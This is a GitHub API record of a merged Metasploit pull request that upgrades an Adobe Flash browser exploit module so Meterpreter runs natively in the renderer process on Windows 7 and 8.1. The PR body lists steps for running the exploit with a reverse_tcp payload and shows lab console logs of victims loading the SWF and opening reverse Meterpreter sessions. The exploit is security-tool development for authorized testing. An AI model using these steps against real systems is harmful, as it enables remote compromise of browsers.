{"action":"closed","number":5486,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5486","id":36988635,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5486","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5486.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5486.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5486","number":5486,"state":"closed","locked":false,"title":"adobe_flash_copy_pixels_to_byte_array: Execution from the flash renderer / Windows 8.1","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"This PR modifies `modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb` to allow native payload execution from the flash renderer process. So not more powershell. We execute meterpreter directly and we remain in the same flash renderer process. \r\n\r\nIt also adds supports for:\r\n\r\n* Firefox / Adobe Flash plug-in on Windows 7 SP1 (32 bits).\r\n* Firefox / Adobe Flash plug-in on Windows 8.1 \r\n\r\nOn the other hand, updates adobe_flash_copy_pixels_to_byte_array, adobe_flash_uncompress_zlib_uaf and adobe_flash_net_connection_confusion with GreatRanking since all of them are getting native code execution in the same renderer process without crashing it. And has a good version coverage for Adobe Flash. <-- ping @wchen-r7 let me know if you'd like to discuss something about the criteria!\r\n\r\nVerification\r\n--------------\r\n\r\n- [x] Install a Windows 7 target: Windows 7 SP1 / IE 11 / Adobe Flash 14.0.0.176 (ActiveX) / Firefox 38.0.5 / Adobe Flash 14.0.0.179 (plugin)\r\n- [x] Install a Windows 8.1 target: Windows 8 SP1 (32 bits or 64 bits), Firefox 38.0.5 (32 bits) and Flash 14.0.0.179 (Plug-in)\r\n- [x] Run msfconsole and use the module `modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array`\r\n- [x] Run the module with the windows target and windows/meterpreter/reverse_tcp payload\r\n- [x] Visit the page from Windows 7 SP1 / IE 11 / Adobe Flash 14.0.0.176 (ActiveX), verify which you get a session and it lives inside the IE renderer process:\r\n\r\n```\r\nmsf exploit(adobe_flash_copy_pixels_to_byte_array) > [*] Using URL: http://172.16.158.1:8080/nz48jvfnBMpVNHC\r\n[*] Server started.\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Gathering target information.\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Sending HTML response.\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Request: /nz48jvfnBMpVNHC/rdRjmD/\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Sending HTML...\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Request: /nz48jvfnBMpVNHC/rdRjmD/tkpM.swf\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Sending SWF...\r\n[*] Sending stage (884270 bytes) to 172.16.158.131\r\n[*] Meterpreter session 6 opened (172.16.158.1:4444 -> 172.16.158.131:51400) at 2015-06-04 18:11:41 -0500\r\n\r\nmsf exploit(adobe_flash_copy_pixels_to_byte_array) > sessions -i 6\r\n[*] Starting interaction with 6...\r\n\r\nmeterpreter > sysinfo\r\ngComputer        : WIN-RNJ7NBRK9L7\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nDomain          : WORKGROUP\r\nLogged On Users : 2\r\nMeterpreter     : x86/win32\r\nmeterpreter > getpid\r\nCurrent pid: 2264\r\nmeterpreter > ps -S 2264\r\n\r\n\r\nProcess list\r\n============\r\n\r\n PID   Name                                Arch  Session  User                          Path\r\n ---   ----                                ----  -------  ----                          ----\r\n 2264  iexplore.exe                        x86   1        WIN-RNJ7NBRK9L7\\Juan Vazquez  C:\\Program Files\\Internet Explorer\\iexplore.exe\r\n\r\n\r\nmeterpreter >\r\n```\r\n\r\n- [ ] Visit the page from Windows 7 SP1 / Firefox / Adobe Flash 14.0.0.179 (plugin), verify which you get a session and it lives inside the Flash renderer process:\r\n\r\n```\r\nmsf exploit(adobe_flash_copy_pixels_to_byte_array) > [*] Using URL: http://172.16.158.1:8080/zPqiSaM\r\n[*] Server started.\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Gathering target information.\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Sending HTML response.\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Request: /zPqiSaM/sopMhI/\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Sending HTML...\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Request: /zPqiSaM/sopMhI/VZeUfv.swf\r\n[*] 172.16.158.131   adobe_flash_copy_pixels_to_byte_array - Sending SWF...\r\n[*] Sending stage (884270 bytes) to 172.16.158.131\r\n[*] Meterpreter session 8 opened (172.16.158.1:4444 -> 172.16.158.131:51415) at 2015-06-04 18:13:46 -0500\r\n\r\nmsf exploit(adobe_flash_copy_pixels_to_byte_array) > sessions -i 8\r\n[*] Starting interaction with 8...\r\n\r\nmeterpreter > sysinfo\r\nComputer        : WIN-RNJ7NBRK9L7\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nMeterpreter     : x86/win32\r\nmeterpreter > getpid\r\nCurrent pid: 5868\r\nmeterpreter > ps -S 5868\r\n\r\n\r\nProcess list\r\n============\r\n\r\n PID   Name                                Arch  Session  User                          Path\r\n ---   ----                                ----  -------  ----                          ----\r\n 5868  FlashPlayerPlugin_14_0_0_179.exe    x86   1        WIN-RNJ7NBRK9L7\\Juan Vazquez  C:\\Windows\\system32\\Macromed\\Flash\\FlashPlayerPlugin_14_0_0_179.exe\r\n\r\n\r\nmeterpreter >\r\n```\r\n\r\n- [ ] Visit the page from Window 8.1 / Firefox 38.0.5 / Adobe Flash 14.0.0.179 (Plugin), verify which you get a session and it lives inside the Flash renderer process:\r\n\r\n```\r\n[*] 172.16.158.132   adobe_flash_copy_pixels_to_byte_array - Gathering target information.\r\n[*] 172.16.158.132   adobe_flash_copy_pixels_to_byte_array - Sending HTML response.\r\n[*] 172.16.158.132   adobe_flash_copy_pixels_to_byte_array - Request: /zPqiSaM/sopMhI/\r\n[*] 172.16.158.132   adobe_flash_copy_pixels_to_byte_array - Sending HTML...\r\n[*] 172.16.158.132   adobe_flash_copy_pixels_to_byte_array - Request: /zPqiSaM/sopMhI/OdgB.swf\r\n[*] 172.16.158.132   adobe_flash_copy_pixels_to_byte_array - Sending SWF...\r\n[*] Sending stage (884270 bytes) to 172.16.158.132\r\n[*] Meterpreter session 9 opened (172.16.158.1:4444 -> 172.16.158.132:50807) at 2015-06-04 18:21:56 -0500\r\n\r\nmsf exploit(adobe_flash_copy_pixels_to_byte_array) > sessions -i 9\r\n[*] Starting interaction with 9...\r\n\r\nmeterpreter > sysinfo\r\nComputer        : WIN-U7MBH836GNO\r\nOS              : Windows 8.1 (Build 9600).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nMeterpreter     : x86/win32\r\nmeterpreter > getpid\r\nCurrent pid: 1028\r\nmeterpreter > ps -S 1028\r\n\r\n\r\nProcess list\r\n============\r\n\r\n PID   Name                              Arch  Session  User                  Path\r\n ---   ----                              ----  -------  ----                  ----\r\n 1028  FlashPlayerPlugin_14_0_0_179.exe  x86   1        WIN-U7MBH836GNO\\juan  C:\\Windows\\system32\\Macromed\\Flash\\FlashPlayerPlugin_14_0_0_179.exe\r\n\r\n\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n```","created_at":"2015-06-04T23:28:22Z","updated_at":"2015-06-05T04:32:46Z","closed_at":"2015-06-05T04:32:46Z","merged_at":"2015-06-05T04:32:46Z","merge_commit_sha":"131f267e4cbbdc104924cea31528eb2f5d286172","assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5486/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5486/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5486/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/51d98e1008655d2e96197fe3902778c52289fa01","head":{"label":"jvazquez-r7:new_lib_CVE_2014_0556","ref":"new_lib_CVE_2014_0556","sha":"51d98e1008655d2e96197fe3902778c52289fa01","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"repo":{"id":6786012,"name":"metasploit-framework","full_name":"jvazquez-r7/metasploit-framework","owner":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jvazquez-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework","forks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/releases{/id}","created_at":"2012-11-20T22:07:34Z","updated_at":"2015-05-08T16:22:10Z","pushed_at":"2015-06-04T23:34:16Z","git_url":"git://github.com/jvazquez-r7/metasploit-framework.git","ssh_url":"git@github.com:jvazquez-r7/metasploit-framework.git","clone_url":"https://github.com/jvazquez-r7/metasploit-framework.git","svn_url":"https://github.com/jvazquez-r7/metasploit-framework","homepage":"http://www.metasploit.com/","size":707370,"stargazers_count":4,"watchers_count":4,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"open_issues_count":2,"forks":3,"open_issues":2,"watchers":4,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"26785b34f1124841375071fb7a1873b77e82304f","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-06-05T03:23:51Z","pushed_at":"2015-06-05T04:32:41Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1077783,"stargazers_count":3870,"watchers_count":3870,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3130,"mirror_url":null,"open_issues_count":219,"forks":3130,"open_issues":219,"watchers":3870,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5486"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5486"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5486"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5486/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5486/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5486/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/51d98e1008655d2e96197fe3902778c52289fa01"}},"merged":true,"mergeable":null,"mergeable_state":"unknown","merged_by":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"comments":4,"review_comments":0,"commits":2,"additions":994,"deletions":196,"changed_files":12}}